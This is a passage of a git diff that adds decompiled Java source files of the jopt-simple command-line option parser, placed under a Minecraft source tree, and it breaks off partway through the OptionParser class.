+  protected AbstractOptionSpec(Collection<String> options, String description) {
+    arrangeOptions(options);
+    
+    this.description = description;
+  }
+  
+  public final Collection<String> options() {
+    return Collections.unmodifiableList(options);
+  }
+  
+  public final List<V> values(OptionSet detectedOptions) {
+    return detectedOptions.valuesOf(this);
+  }
+  
+  public final V value(OptionSet detectedOptions) {
+    return detectedOptions.valueOf(this);
+  }
+  
+  public String description() {
+    return description;
+  }
+  
+  public final AbstractOptionSpec<V> forHelp() {
+    forHelp = true;
+    return this;
+  }
+  
+  public final boolean isForHelp() {
+    return forHelp;
+  }
+  
+  public boolean representsNonOptions() {
+    return false;
+  }
+  
+  protected abstract V convert(String paramString);
+  
+  protected V convertWith(ValueConverter<V> converter, String argument) {
+    try {
+      return Reflection.convertWith(converter, argument);
+    }
+    catch (ReflectionException ex) {
+      throw new OptionArgumentConversionException(options(), argument, ex);
+    }
+    catch (ValueConversionException ex) {
+      throw new OptionArgumentConversionException(options(), argument, ex);
+    }
+  }
+  
+  protected String argumentTypeIndicatorFrom(ValueConverter<V> converter) {
+    if (converter == null) {
+      return null;
+    }
+    String pattern = converter.valuePattern();
+    return pattern == null ? converter.valueType().getName() : pattern;
+  }
+  
+  abstract void handleOption(OptionParser paramOptionParser, ArgumentList paramArgumentList, OptionSet paramOptionSet, String paramString);
+  
+  private void arrangeOptions(Collection<String> unarranged)
+  {
+    if (unarranged.size() == 1) {
+      options.addAll(unarranged);
+      return;
+    }
+    
+    List<String> shortOptions = new ArrayList();
+    List<String> longOptions = new ArrayList();
+    
+    for (String each : unarranged) {
+      if (each.length() == 1) {
+        shortOptions.add(each);
+      } else {
+        longOptions.add(each);
+      }
+    }
+    Collections.sort(shortOptions);
+    Collections.sort(longOptions);
+    
+    options.addAll(shortOptions);
+    options.addAll(longOptions);
+  }
+  
+  public boolean equals(Object that)
+  {
+    if (!(that instanceof AbstractOptionSpec)) {
+      return false;
+    }
+    AbstractOptionSpec<?> other = (AbstractOptionSpec)that;
+    return options.equals(options);
+  }
+  
+  public int hashCode()
+  {
+    return options.hashCode();
+  }
+  
+  public String toString()
+  {
+    return options.toString();
+  }
+}
diff --git a/src/minecraft/joptsimple/AlternativeLongOptionSpec.java b/src/minecraft/joptsimple/AlternativeLongOptionSpec.java
new file mode 100644
index 0000000..3acfd8e
--- /dev/null
+++ b/src/minecraft/joptsimple/AlternativeLongOptionSpec.java
@@ -0,0 +1,51 @@
+package joptsimple;
+
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class AlternativeLongOptionSpec
+  extends ArgumentAcceptingOptionSpec<String>
+{
+  AlternativeLongOptionSpec()
+  {
+    super(Collections.singletonList("W"), true, "Alternative form of long options");
+    
+    describedAs("opt=value");
+  }
+  
+  protected void detectOptionArgument(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions)
+  {
+    if (!arguments.hasMore()) {
+      throw new OptionMissingRequiredArgumentException(options());
+    }
+    arguments.treatNextAsLongOption();
+  }
+}
diff --git a/src/minecraft/joptsimple/ArgumentAcceptingOptionSpec.java b/src/minecraft/joptsimple/ArgumentAcceptingOptionSpec.java
new file mode 100644
index 0000000..a7202b3
--- /dev/null
+++ b/src/minecraft/joptsimple/ArgumentAcceptingOptionSpec.java
@@ -0,0 +1,329 @@
+package joptsimple;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.StringTokenizer;
+import joptsimple.internal.Objects;
+import joptsimple.internal.Reflection;
+import joptsimple.internal.Strings;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ArgumentAcceptingOptionSpec<V>
+  extends AbstractOptionSpec<V>
+{
+  private static final char NIL_VALUE_SEPARATOR = '\000';
+  private boolean optionRequired;
+  private final boolean argumentRequired;
+  private ValueConverter<V> converter;
+  private String argumentDescription = "";
+  private String valueSeparator = String.valueOf('\000');
+  private final List<V> defaultValues = new ArrayList();
+  
+  ArgumentAcceptingOptionSpec(String option, boolean argumentRequired) {
+    super(option);
+    
+    this.argumentRequired = argumentRequired;
+  }
+  
+  ArgumentAcceptingOptionSpec(Collection<String> options, boolean argumentRequired, String description) {
+    super(options, description);
+    
+    this.argumentRequired = argumentRequired;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final <T> ArgumentAcceptingOptionSpec<T> ofType(Class<T> argumentType)
+  {
+    return withValuesConvertedBy(Reflection.findConverter(argumentType));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final <T> ArgumentAcceptingOptionSpec<T> withValuesConvertedBy(ValueConverter<T> aConverter)
+  {
+    if (aConverter == null) {
+      throw new NullPointerException("illegal null converter");
+    }
+    converter = aConverter;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public final ArgumentAcceptingOptionSpec<V> describedAs(String description)
+  {
+    argumentDescription = description;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ArgumentAcceptingOptionSpec<V> withValuesSeparatedBy(char separator)
+  {
+    if (separator == 0) {
+      throw new IllegalArgumentException("cannot use U+0000 as separator");
+    }
+    valueSeparator = String.valueOf(separator);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ArgumentAcceptingOptionSpec<V> withValuesSeparatedBy(String separator)
+  {
+    if (separator.indexOf(0) != -1) {
+      throw new IllegalArgumentException("cannot use U+0000 in separator");
+    }
+    valueSeparator = separator;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public ArgumentAcceptingOptionSpec<V> defaultsTo(V value, V... values)
+  {
+    addDefaultValue(value);
+    defaultsTo(values);
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+  public ArgumentAcceptingOptionSpec<V> defaultsTo(V[] values)
+  {
+    for (V each : values) {
+      addDefaultValue(each);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public ArgumentAcceptingOptionSpec<V> required()
+  {
+    optionRequired = true;
+    return this;
+  }
+  
+  public boolean isRequired() {
+    return optionRequired;
+  }
+  
+  private void addDefaultValue(V value) {
+    Objects.ensureNotNull(value);
+    defaultValues.add(value);
+  }
+  
+
+
+  final void handleOption(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions, String detectedArgument)
+  {
+    if (Strings.isNullOrEmpty(detectedArgument)) {
+      detectOptionArgument(parser, arguments, detectedOptions);
+    } else
+      addArguments(detectedOptions, detectedArgument);
+  }
+  
+  protected void addArguments(OptionSet detectedOptions, String detectedArgument) {
+    StringTokenizer lexer = new StringTokenizer(detectedArgument, valueSeparator);
+    if (!lexer.hasMoreTokens()) {
+      detectedOptions.addWithArgument(this, detectedArgument);
+    } else {
+      while (lexer.hasMoreTokens()) {
+        detectedOptions.addWithArgument(this, lexer.nextToken());
+      }
+    }
+  }
+  
+  protected abstract void detectOptionArgument(OptionParser paramOptionParser, ArgumentList paramArgumentList, OptionSet paramOptionSet);
+  
+  protected final V convert(String argument)
+  {
+    return convertWith(converter, argument);
+  }
+  
+  protected boolean canConvertArgument(String argument) {
+    StringTokenizer lexer = new StringTokenizer(argument, valueSeparator);
+    try
+    {
+      while (lexer.hasMoreTokens())
+        convert(lexer.nextToken());
+      return true;
+    }
+    catch (OptionException ignored) {}
+    return false;
+  }
+  
+  protected boolean isArgumentOfNumberType()
+  {
+    return (converter != null) && (Number.class.isAssignableFrom(converter.valueType()));
+  }
+  
+  public boolean acceptsArguments() {
+    return true;
+  }
+  
+  public boolean requiresArgument() {
+    return argumentRequired;
+  }
+  
+  public String argumentDescription() {
+    return argumentDescription;
+  }
+  
+  public String argumentTypeIndicator() {
+    return argumentTypeIndicatorFrom(converter);
+  }
+  
+  public List<V> defaultValues() {
+    return Collections.unmodifiableList(defaultValues);
+  }
+  
+  public boolean equals(Object that)
+  {
+    if (!super.equals(that)) {
+      return false;
+    }
+    ArgumentAcceptingOptionSpec<?> other = (ArgumentAcceptingOptionSpec)that;
+    return requiresArgument() == other.requiresArgument();
+  }
+  
+  public int hashCode()
+  {
+    return super.hashCode() ^ (argumentRequired ? 0 : 1);
+  }
+}
diff --git a/src/minecraft/joptsimple/ArgumentList.java b/src/minecraft/joptsimple/ArgumentList.java
new file mode 100644
index 0000000..d6387ab
--- /dev/null
+++ b/src/minecraft/joptsimple/ArgumentList.java
@@ -0,0 +1,60 @@
+package joptsimple;
+
+
+
+
+
+
+
+
+
+
+
+class ArgumentList
+{
+  private final String[] arguments;
+  
+
+
+
+
+
+
+
+
+
+  private int currentIndex;
+  
+
+
+
+
+
+
+
+
+
+
+  ArgumentList(String... arguments)
+  {
+    this.arguments = ((String[])arguments.clone());
+  }
+  
+  boolean hasMore() {
+    return currentIndex < arguments.length;
+  }
+  
+  String next() {
+    return arguments[(currentIndex++)];
+  }
+  
+  String peek() {
+    return arguments[currentIndex];
+  }
+  
+  void treatNextAsLongOption() {
+    if ('-' != arguments[currentIndex].charAt(0)) {
+      arguments[currentIndex] = ("--" + arguments[currentIndex]);
+    }
+  }
+}
diff --git a/src/minecraft/joptsimple/BuiltinHelpFormatter.java b/src/minecraft/joptsimple/BuiltinHelpFormatter.java
new file mode 100644
index 0000000..b782d7a
--- /dev/null
+++ b/src/minecraft/joptsimple/BuiltinHelpFormatter.java
@@ -0,0 +1,252 @@
+package joptsimple;
+
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.TreeSet;
+import joptsimple.internal.Classes;
+import joptsimple.internal.Rows;
+import joptsimple.internal.Strings;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BuiltinHelpFormatter
+  implements HelpFormatter
+{
+  private final Rows nonOptionRows;
+  private final Rows optionRows;
+  
+  BuiltinHelpFormatter()
+  {
+    this(80, 2);
+  }
+  
+
+
+
+
+
+
+  public BuiltinHelpFormatter(int desiredOverallWidth, int desiredColumnSeparatorWidth)
+  {
+    nonOptionRows = new Rows(desiredOverallWidth * 2, 0);
+    optionRows = new Rows(desiredOverallWidth, desiredColumnSeparatorWidth);
+  }
+  
+  public String format(Map<String, ? extends OptionDescriptor> options) {
+    Comparator<OptionDescriptor> comparator = new Comparator()
+    {
+      public int compare(OptionDescriptor first, OptionDescriptor second) {
+        return ((String)first.options().iterator().next()).compareTo((String)second.options().iterator().next());
+      }
+      
+    };
+    Set<OptionDescriptor> sorted = new TreeSet(comparator);
+    sorted.addAll(options.values());
+    
+    addRows(sorted);
+    
+    return formattedHelpOutput();
+  }
+  
+  private String formattedHelpOutput() {
+    StringBuilder formatted = new StringBuilder();
+    String nonOptionDisplay = nonOptionRows.render();
+    if (!Strings.isNullOrEmpty(nonOptionDisplay))
+      formatted.append(nonOptionDisplay).append(Strings.LINE_SEPARATOR);
+    formatted.append(optionRows.render());
+    
+    return formatted.toString();
+  }
+  
+  private void addRows(Collection<? extends OptionDescriptor> options) {
+    addNonOptionsDescription(options);
+    
+    if (options.isEmpty()) {
+      optionRows.add("No options specified", "");
+    } else {
+      addHeaders(options);
+      addOptions(options);
+    }
+    
+    fitRowsToWidth();
+  }
+  
+  private void addNonOptionsDescription(Collection<? extends OptionDescriptor> options) {
+    OptionDescriptor nonOptions = findAndRemoveNonOptionsSpec(options);
+    if (shouldShowNonOptionArgumentDisplay(nonOptions)) {
+      nonOptionRows.add("Non-option arguments:", "");
+      nonOptionRows.add(createNonOptionArgumentsDisplay(nonOptions), "");
+    }
+  }
+  
+  private boolean shouldShowNonOptionArgumentDisplay(OptionDescriptor nonOptions) {
+    return (!Strings.isNullOrEmpty(nonOptions.description())) || (!Strings.isNullOrEmpty(nonOptions.argumentTypeIndicator())) || (!Strings.isNullOrEmpty(nonOptions.argumentDescription()));
+  }
+  
+
+  private String createNonOptionArgumentsDisplay(OptionDescriptor nonOptions)
+  {
+    StringBuilder buffer = new StringBuilder();
+    maybeAppendOptionInfo(buffer, nonOptions);
+    maybeAppendNonOptionsDescription(buffer, nonOptions);
+    
+    return buffer.toString();
+  }
+  
+  private void maybeAppendNonOptionsDescription(StringBuilder buffer, OptionDescriptor nonOptions) {
+    buffer.append((buffer.length() > 0) && (!Strings.isNullOrEmpty(nonOptions.description())) ? " -- " : "").append(nonOptions.description());
+  }
+  
+  private OptionDescriptor findAndRemoveNonOptionsSpec(Collection<? extends OptionDescriptor> options)
+  {
+    for (Iterator<? extends OptionDescriptor> it = options.iterator(); it.hasNext();) {
+      OptionDescriptor next = (OptionDescriptor)it.next();
+      if (next.representsNonOptions()) {
+        it.remove();
+        return next;
+      }
+    }
+    
+    throw new AssertionError("no non-options argument spec");
+  }
+  
+  private void addHeaders(Collection<? extends OptionDescriptor> options) {
+    if (hasRequiredOption(options)) {
+      optionRows.add("Option (* = required)", "Description");
+      optionRows.add("---------------------", "-----------");
+    } else {
+      optionRows.add("Option", "Description");
+      optionRows.add("------", "-----------");
+    }
+  }
+  
+  private boolean hasRequiredOption(Collection<? extends OptionDescriptor> options) {
+    for (OptionDescriptor each : options) {
+      if (each.isRequired()) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  private void addOptions(Collection<? extends OptionDescriptor> options) {
+    for (OptionDescriptor each : options) {
+      if (!each.representsNonOptions())
+        optionRows.add(createOptionDisplay(each), createDescriptionDisplay(each));
+    }
+  }
+  
+  private String createOptionDisplay(OptionDescriptor descriptor) {
+    StringBuilder buffer = new StringBuilder(descriptor.isRequired() ? "* " : "");
+    
+    for (Iterator<String> i = descriptor.options().iterator(); i.hasNext();) {
+      String option = (String)i.next();
+      buffer.append(option.length() > 1 ? "--" : ParserRules.HYPHEN);
+      buffer.append(option);
+      
+      if (i.hasNext()) {
+        buffer.append(", ");
+      }
+    }
+    maybeAppendOptionInfo(buffer, descriptor);
+    
+    return buffer.toString();
+  }
+  
+  private void maybeAppendOptionInfo(StringBuilder buffer, OptionDescriptor descriptor) {
+    String indicator = extractTypeIndicator(descriptor);
+    String description = descriptor.argumentDescription();
+    if ((indicator != null) || (!Strings.isNullOrEmpty(description)))
+      appendOptionHelp(buffer, indicator, description, descriptor.requiresArgument());
+  }
+  
+  private String extractTypeIndicator(OptionDescriptor descriptor) {
+    String indicator = descriptor.argumentTypeIndicator();
+    
+    if ((!Strings.isNullOrEmpty(indicator)) && (!String.class.getName().equals(indicator))) {
+      return Classes.shortNameOf(indicator);
+    }
+    return null;
+  }
+  
+  private void appendOptionHelp(StringBuilder buffer, String typeIndicator, String description, boolean required) {
+    if (required) {
+      appendTypeIndicator(buffer, typeIndicator, description, '<', '>');
+    } else {
+      appendTypeIndicator(buffer, typeIndicator, description, '[', ']');
+    }
+  }
+  
+  private void appendTypeIndicator(StringBuilder buffer, String typeIndicator, String description, char start, char end) {
+    buffer.append(' ').append(start);
+    if (typeIndicator != null) {
+      buffer.append(typeIndicator);
+    }
+    if (!Strings.isNullOrEmpty(description)) {
+      if (typeIndicator != null) {
+        buffer.append(": ");
+      }
+      buffer.append(description);
+    }
+    
+    buffer.append(end);
+  }
+  
+  private String createDescriptionDisplay(OptionDescriptor descriptor) {
+    List<?> defaultValues = descriptor.defaultValues();
+    if (defaultValues.isEmpty()) {
+      return descriptor.description();
+    }
+    String defaultValuesDisplay = createDefaultValuesDisplay(defaultValues);
+    return (descriptor.description() + ' ' + Strings.surround(new StringBuilder().append("default: ").append(defaultValuesDisplay).toString(), '(', ')')).trim();
+  }
+  
+  private String createDefaultValuesDisplay(List<?> defaultValues) {
+    return defaultValues.size() == 1 ? defaultValues.get(0).toString() : defaultValues.toString();
+  }
+  
+  private void fitRowsToWidth() {
+    nonOptionRows.fitToWidth();
+    optionRows.fitToWidth();
+  }
+}
diff --git a/src/minecraft/joptsimple/HelpFormatter.java b/src/minecraft/joptsimple/HelpFormatter.java
new file mode 100644
index 0000000..d2e67ee
--- /dev/null
+++ b/src/minecraft/joptsimple/HelpFormatter.java
@@ -0,0 +1,8 @@
+package joptsimple;
+
+import java.util.Map;
+
+public abstract interface HelpFormatter
+{
+  public abstract String format(Map<String, ? extends OptionDescriptor> paramMap);
+}
diff --git a/src/minecraft/joptsimple/IllegalOptionSpecificationException.java b/src/minecraft/joptsimple/IllegalOptionSpecificationException.java
new file mode 100644
index 0000000..5887f19
--- /dev/null
+++ b/src/minecraft/joptsimple/IllegalOptionSpecificationException.java
@@ -0,0 +1,46 @@
+package joptsimple;
+
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class IllegalOptionSpecificationException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  
+  IllegalOptionSpecificationException(String option)
+  {
+    super(Collections.singletonList(option));
+  }
+  
+  public String getMessage()
+  {
+    return singleOptionMessage() + " is not a legal option character";
+  }
+}
diff --git a/src/minecraft/joptsimple/MissingRequiredOptionException.java b/src/minecraft/joptsimple/MissingRequiredOptionException.java
new file mode 100644
index 0000000..7c6016f
--- /dev/null
+++ b/src/minecraft/joptsimple/MissingRequiredOptionException.java
@@ -0,0 +1,46 @@
+package joptsimple;
+
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class MissingRequiredOptionException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  
+  protected MissingRequiredOptionException(Collection<String> options)
+  {
+    super(options);
+  }
+  
+  public String getMessage()
+  {
+    return "Missing required option(s) " + multipleOptionMessage();
+  }
+}
diff --git a/src/minecraft/joptsimple/MultipleArgumentsForOptionException.java b/src/minecraft/joptsimple/MultipleArgumentsForOptionException.java
new file mode 100644
index 0000000..8dcf64f
--- /dev/null
+++ b/src/minecraft/joptsimple/MultipleArgumentsForOptionException.java
@@ -0,0 +1,46 @@
+package joptsimple;
+
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class MultipleArgumentsForOptionException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  
+  MultipleArgumentsForOptionException(Collection<String> options)
+  {
+    super(options);
+  }
+  
+  public String getMessage()
+  {
+    return "Found multiple arguments for option " + multipleOptionMessage() + ", but you asked for only one";
+  }
+}
diff --git a/src/minecraft/joptsimple/NoArgumentOptionSpec.java b/src/minecraft/joptsimple/NoArgumentOptionSpec.java
new file mode 100644
index 0000000..5b4f6ce
--- /dev/null
+++ b/src/minecraft/joptsimple/NoArgumentOptionSpec.java
@@ -0,0 +1,82 @@
+package joptsimple;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class NoArgumentOptionSpec
+  extends AbstractOptionSpec<Void>
+{
+  NoArgumentOptionSpec(String option)
+  {
+    this(Collections.singletonList(option), "");
+  }
+  
+  NoArgumentOptionSpec(Collection<String> options, String description) {
+    super(options, description);
+  }
+  
+
+
+  void handleOption(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions, String detectedArgument)
+  {
+    detectedOptions.add(this);
+  }
+  
+  public boolean acceptsArguments() {
+    return false;
+  }
+  
+  public boolean requiresArgument() {
+    return false;
+  }
+  
+  public boolean isRequired() {
+    return false;
+  }
+  
+  public String argumentDescription() {
+    return "";
+  }
+  
+  public String argumentTypeIndicator() {
+    return "";
+  }
+  
+  protected Void convert(String argument)
+  {
+    return null;
+  }
+  
+  public List<Void> defaultValues() {
+    return Collections.emptyList();
+  }
+}
diff --git a/src/minecraft/joptsimple/NonOptionArgumentSpec.java b/src/minecraft/joptsimple/NonOptionArgumentSpec.java
new file mode 100644
index 0000000..ee69d91
--- /dev/null
+++ b/src/minecraft/joptsimple/NonOptionArgumentSpec.java
@@ -0,0 +1,170 @@
+package joptsimple;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import joptsimple.internal.Reflection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NonOptionArgumentSpec<V>
+  extends AbstractOptionSpec<V>
+{
+  static final String NAME = "[arguments]";
+  private ValueConverter<V> converter;
+  private String argumentDescription = "";
+  
+  NonOptionArgumentSpec() {
+    this("");
+  }
+  
+  NonOptionArgumentSpec(String description) {
+    super(Arrays.asList(new String[] { "[arguments]" }), description);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> NonOptionArgumentSpec<T> ofType(Class<T> argumentType)
+  {
+    converter = Reflection.findConverter(argumentType);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final <T> NonOptionArgumentSpec<T> withValuesConvertedBy(ValueConverter<T> aConverter)
+  {
+    if (aConverter == null) {
+      throw new NullPointerException("illegal null converter");
+    }
+    converter = aConverter;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public NonOptionArgumentSpec<V> describedAs(String description)
+  {
+    argumentDescription = description;
+    return this;
+  }
+  
+  protected final V convert(String argument)
+  {
+    return convertWith(converter, argument);
+  }
+  
+
+
+  void handleOption(OptionParser parser, ArgumentList arguments, OptionSet detectedOptions, String detectedArgument)
+  {
+    detectedOptions.addWithArgument(this, detectedArgument);
+  }
+  
+  public List<?> defaultValues() {
+    return Collections.emptyList();
+  }
+  
+  public boolean isRequired() {
+    return false;
+  }
+  
+  public boolean acceptsArguments() {
+    return false;
+  }
+  
+  public boolean requiresArgument() {
+    return false;
+  }
+  
+  public String argumentDescription() {
+    return argumentDescription;
+  }
+  
+  public String argumentTypeIndicator() {
+    return argumentTypeIndicatorFrom(converter);
+  }
+  
+  public boolean representsNonOptions() {
+    return true;
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionArgumentConversionException.java b/src/minecraft/joptsimple/OptionArgumentConversionException.java
new file mode 100644
index 0000000..06b0e1e
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionArgumentConversionException.java
@@ -0,0 +1,50 @@
+package joptsimple;
+
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class OptionArgumentConversionException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  private final String argument;
+  
+  OptionArgumentConversionException(Collection<String> options, String argument, Throwable cause)
+  {
+    super(options, cause);
+    
+    this.argument = argument;
+  }
+  
+  public String getMessage()
+  {
+    return "Cannot parse argument '" + argument + "' of option " + multipleOptionMessage();
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionDeclarer.java b/src/minecraft/joptsimple/OptionDeclarer.java
new file mode 100644
index 0000000..deeb668
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionDeclarer.java
@@ -0,0 +1,24 @@
+package joptsimple;
+
+import java.util.Collection;
+
+public abstract interface OptionDeclarer
+{
+  public abstract OptionSpecBuilder accepts(String paramString);
+  
+  public abstract OptionSpecBuilder accepts(String paramString1, String paramString2);
+  
+  public abstract OptionSpecBuilder acceptsAll(Collection<String> paramCollection);
+  
+  public abstract OptionSpecBuilder acceptsAll(Collection<String> paramCollection, String paramString);
+  
+  public abstract NonOptionArgumentSpec<String> nonOptions();
+  
+  public abstract NonOptionArgumentSpec<String> nonOptions(String paramString);
+  
+  public abstract void posixlyCorrect(boolean paramBoolean);
+  
+  public abstract void allowsUnrecognizedOptions();
+  
+  public abstract void recognizeAlternativeLongOptions(boolean paramBoolean);
+}
diff --git a/src/minecraft/joptsimple/OptionDescriptor.java b/src/minecraft/joptsimple/OptionDescriptor.java
new file mode 100644
index 0000000..bf6772f
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionDescriptor.java
@@ -0,0 +1,25 @@
+package joptsimple;
+
+import java.util.Collection;
+import java.util.List;
+
+public abstract interface OptionDescriptor
+{
+  public abstract Collection<String> options();
+  
+  public abstract String description();
+  
+  public abstract List<?> defaultValues();
+  
+  public abstract boolean isRequired();
+  
+  public abstract boolean acceptsArguments();
+  
+  public abstract boolean requiresArgument();
+  
+  public abstract String argumentDescription();
+  
+  public abstract String argumentTypeIndicator();
+  
+  public abstract boolean representsNonOptions();
+}
diff --git a/src/minecraft/joptsimple/OptionException.java b/src/minecraft/joptsimple/OptionException.java
new file mode 100644
index 0000000..5f9b9f3
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionException.java
@@ -0,0 +1,91 @@
+package joptsimple;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class OptionException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = -1L;
+  private final List<String> options = new ArrayList();
+  
+  protected OptionException(Collection<String> options) {
+    this.options.addAll(options);
+  }
+  
+  protected OptionException(Collection<String> options, Throwable cause) {
+    super(cause);
+    
+    this.options.addAll(options);
+  }
+  
+
+
+
+
+  public Collection<String> options()
+  {
+    return Collections.unmodifiableCollection(options);
+  }
+  
+  protected final String singleOptionMessage() {
+    return singleOptionMessage((String)options.get(0));
+  }
+  
+  protected final String singleOptionMessage(String option) {
+    return "'" + option + "'";
+  }
+  
+  protected final String multipleOptionMessage() {
+    StringBuilder buffer = new StringBuilder("[");
+    
+    for (Iterator<String> iter = options.iterator(); iter.hasNext();) {
+      buffer.append(singleOptionMessage((String)iter.next()));
+      if (iter.hasNext()) {
+        buffer.append(", ");
+      }
+    }
+    buffer.append(']');
+    
+    return buffer.toString();
+  }
+  
+  static OptionException unrecognizedOption(String option) {
+    return new UnrecognizedOptionException(option);
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionMissingRequiredArgumentException.java b/src/minecraft/joptsimple/OptionMissingRequiredArgumentException.java
new file mode 100644
index 0000000..2d7b280
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionMissingRequiredArgumentException.java
@@ -0,0 +1,46 @@
+package joptsimple;
+
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class OptionMissingRequiredArgumentException
+  extends OptionException
+{
+  private static final long serialVersionUID = -1L;
+  
+  OptionMissingRequiredArgumentException(Collection<String> options)
+  {
+    super(options);
+  }
+  
+  public String getMessage()
+  {
+    return "Option " + multipleOptionMessage() + " requires an argument";
+  }
+}
diff --git a/src/minecraft/joptsimple/OptionParser.java b/src/minecraft/joptsimple/OptionParser.java
new file mode 100644
index 0000000..b07dddf
--- /dev/null
+++ b/src/minecraft/joptsimple/OptionParser.java
@@ -0,0 +1,550 @@
+package joptsimple;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.io.Writer;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import joptsimple.internal.AbbreviationMap;
+import joptsimple.util.KeyValuePair;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OptionParser
+  implements OptionDeclarer
+{
+  private final AbbreviationMap<AbstractOptionSpec<?>> recognizedOptions;
+  private final Map<Collection<String>, Set<OptionSpec<?>>> requiredIf;
+  private final Map<Collection<String>, Set<OptionSpec<?>>> requiredUnless;
+  private OptionParserState state;
+  private boolean posixlyCorrect;
+  private boolean allowsUnrecognizedOptions;
+  private HelpFormatter helpFormatter = new BuiltinHelpFormatter();
+  
+
+
+
+  public OptionParser()
+  {
+    recognizedOptions = new AbbreviationMap();
+    requiredIf = new HashMap();
+    requiredUnless = new HashMap();
+    state = OptionParserState.moreOptions(false);
+    
+    recognize(new NonOptionArgumentSpec());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public OptionParser(String optionSpecification)
+  {
+    this();
+    
+    new OptionSpecTokenizer(optionSpecification).configure(this);
+  }
+  
+  public OptionSpecBuilder accepts(String option) {
+    return acceptsAll(Collections.singletonList(option));
+  }
+  
+  public OptionSpecBuilder accepts(String option, String description) {
+    return acceptsAll(Collections.singletonList(option), description);
+  }
+  
+  public OptionSpecBuilder acceptsAll(Collection<String> options) {
+    return acceptsAll(options, "");
+  }
+  
+  public OptionSpecBuilder acceptsAll(Collection<String> options, String description) {
+    if (options.isEmpty()) {
+      throw new IllegalArgumentException("need at least one option");
+    }
+    ParserRules.ensureLegalOptions(options);
+    
+    return new OptionSpecBuilder(this, options, description);
+  }
+  
+  public NonOptionArgumentSpec<String> nonOptions() {
+    NonOptionArgumentSpec<String> spec = new NonOptionArgumentSpec();
+    
+    recognize(spec);
+    
+    return spec;
+  }
+  
